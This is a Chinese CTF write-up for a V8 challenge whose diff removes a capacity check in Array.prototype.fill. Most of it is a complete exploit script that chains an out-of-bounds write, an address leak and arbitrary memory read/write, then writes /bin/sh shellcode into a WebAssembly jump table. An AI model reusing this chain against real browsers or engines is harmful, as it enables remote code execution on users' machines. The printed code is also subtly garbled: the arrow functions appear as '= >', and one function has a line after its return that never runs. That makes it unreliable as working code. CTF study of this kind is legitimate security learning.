【2019看雪CTF】Q3赛季 第十二题:精忠报国 WP
2019-09-25 11:41:24 Author: bbs.pediy.com(查看原文) 阅读量:190 收藏

完全0基础做题,乱做的。

看diff:

diff --git a/src/objects/elements.cc b/src/objects/elements.cc
index 6e5648d2f4..5e259925dc 100644
--- a/src/objects/elements.cc
+++ b/src/objects/elements.cc
@@ -2148,12 +2148,6 @@ class FastElementsAccessor : public ElementsAccessorBase<Subclass, KindTraits> {
     }

     // Make sure we have enough space.
-    uint32_t capacity =
-        Subclass::GetCapacityImpl(*receiver, receiver->elements());
-    if (end > capacity) {
-      Subclass::GrowCapacityAndConvertImpl(receiver, end);
-      CHECK_EQ(Subclass::kind(), receiver->GetElementsKind());
-    }
     DCHECK_LE(end, Subclass::GetCapacityImpl(*receiver, receiver->elements()));

     for (uint32_t index = start; index < end; ++index) {

删除了FastElementsAccessor中关于fill实现部分的check代码。

然后就开始找v8的相关资料看,看了两天,有个大致的概念。
通常大概思路是OOB->AAR/AAW->get shell或者其它。

但是怎么触发漏洞呢,试了好久也没成功,没办法真正0基础啊,不会写js,只能copy代码,能触发才怪。我太难了。

放了两天,因为队友发我的一个链接,我又拿起来了,然后稀里糊涂就做出来了。
poc

其中谈到了如下代码:

array = [];
array.length = 0xffffffff;

b = array.fill(1.1, 0, {valueOf() {
  array.length = 32;
  array.fill(1.1);
  return 0x80000000;
}});

但是他针对的fill部分代码与本题并不一样,但同样适用。我想应该还有其它更简单的触发方式吧。于是直接copy了完整poc,改吧改吧,竟然就成功了。原POC bug好像有点多。

上面代码可实现一次OOB的写,稍加修改就可以修改array的length,造成真正意思上的OOB。
提前在array后布置一个空的数组ptr_leak_object和一个BigUint64Array数组arbirary_access_array,ptr_leak_object用于leak对象地址,arbirary_access_array用于AAR/AAW。
修改array的length为一个比较大的值(不用太大,使arbirary_access_array,ptr_leak_object在其Elements范围内就行)。将对象引用设置ptr_leak_object的元素,则可通过array读出地址实现Leak;通过array更改ptr_leak_object的elements地址,则可实现任意地址的8字节的读可写。最后使用wasm的方式,得到可执行的内存区域,替换代码为shellcode实现get shell。

代码如下:

let data_view = new DataView(new ArrayBuffer(8));
reverseDword = dword = >{
    data_view.setUint32(0, dword, true);
    return data_view.getUint32(0, false);
};
reverseQword = qword = >{
    data_view.setBigUint64(0, qword, true);
    return data_view.getBigUint64(0, false);
};
floatAsQword = float = >{
    data_view.setFloat64(0, float);
    return data_view.getBigUint64(0);
};
qwordAsFloat = qword = >{
    data_view.setBigUint64(0, qword);
    return data_view.getFloat64(0);
};
let oob_access_array;
let ptr_leak_object;
let arbirary_access_array;
let ptr_leak_index;
let external_ptr_index;
let external_ptr_backup;
const MARKER = 0x31337;
leakPtr = obj = >{
    ptr_leak_object[0] = obj;
    return floatAsQword(oob_access_array[ptr_leak_index]);
};
getQword = address = >{
    oob_access_array[external_ptr_index] = qwordAsFloat(address);
    return arbirary_access_array[0];
    oob_access_array[external_ptr_index] = external_ptr_backup;
};
setQword = (address, value) = >{
    oob_access_array[external_ptr_index] = qwordAsFloat(address);
    arbirary_access_array[0] = value;
    oob_access_array[external_ptr_index] = external_ptr_backup;
};
getField = (object_ptr, num, tagged = true) = >object_ptr + BigInt(num * 8 - (tagged ? 1 : 0));
setBytes = (address, array) = >{
    for (let i = 0; i < array.length; ++i) {
        setQword(address + BigInt(i), BigInt(array[i]));
    }
};
function hex(i) {
    return i.toString(16).padStart(16, "0");
};
triggerOob = () = >{
    array = [];
    array.length = 0xffffffff;
    ptr_leak_object = {};
    tmp = new BigUint64Array(1);
    oob_access_array = array.fill(1.390671161567e-309, 0x80000000 - 99, {
        valueOf() {
            array.length = 32;
            array.fill(1.1);
            arbirary_access_array = new BigUint64Array(1);
            return 0x80000000 - 98;
        }
    });
    ptr_leak_object[0] = MARKER;
    arbirary_access_array[0] = BigInt(0xdeadbeef);
    arbirary_access_array.buffer;
};
findOffsets = () = >{
    let markerAsFloat = qwordAsFloat(BigInt(MARKER) << 32n);
    for (ptr_leak_index = 0; ptr_leak_index < oob_access_array.length; ++ptr_leak_index) {
        if (oob_access_array[ptr_leak_index] === markerAsFloat) {
            break;
        }
    }
    if (ptr_leak_index === oob_access_array.length) {
        console.log("Couldn't locate the offsets");
    }
    external_ptr_index = 56;
    external_ptr_backup = oob_access_array[external_ptr_index];
};
runCalc = () = >{
    const wasm_code = new Uint8Array([
    0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 
    0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 
    0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 
    0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80, 
    0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00, 
    0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80, 
    0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 
    0x00, 0x00, 0x41, 0x00, 0x0b]);
    const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
    const wasm_func = wasm_instance.exports.a;
    var shellcode = [
    0x2fbb485299583b6an, 
    0x5368732f6e69622fn, 
    0x050f5e5457525f54n];
    wasm_instance_ptr = leakPtr(wasm_instance);
    const jump_table = getQword(getField(wasm_instance_ptr, 16));
    setQword(jump_table, shellcode[0]);
    setQword(jump_table + BigInt(8), shellcode[1]);
    setQword(jump_table + BigInt(16), shellcode[2]);
    wasm_func();
};
triggerOob();
findOffsets();
runCalc();

[培训]《安卓高级研修班》彻底搞定函数抽取型壳!现在报名得源码和安卓8.1脱壳机!10月20日深圳专场不见不散!

最后于 9小时前 被poyoten编辑 ,原因:


文章来源: https://bbs.pediy.com/thread-254680.htm
如有侵权请联系:admin#unsafe.sh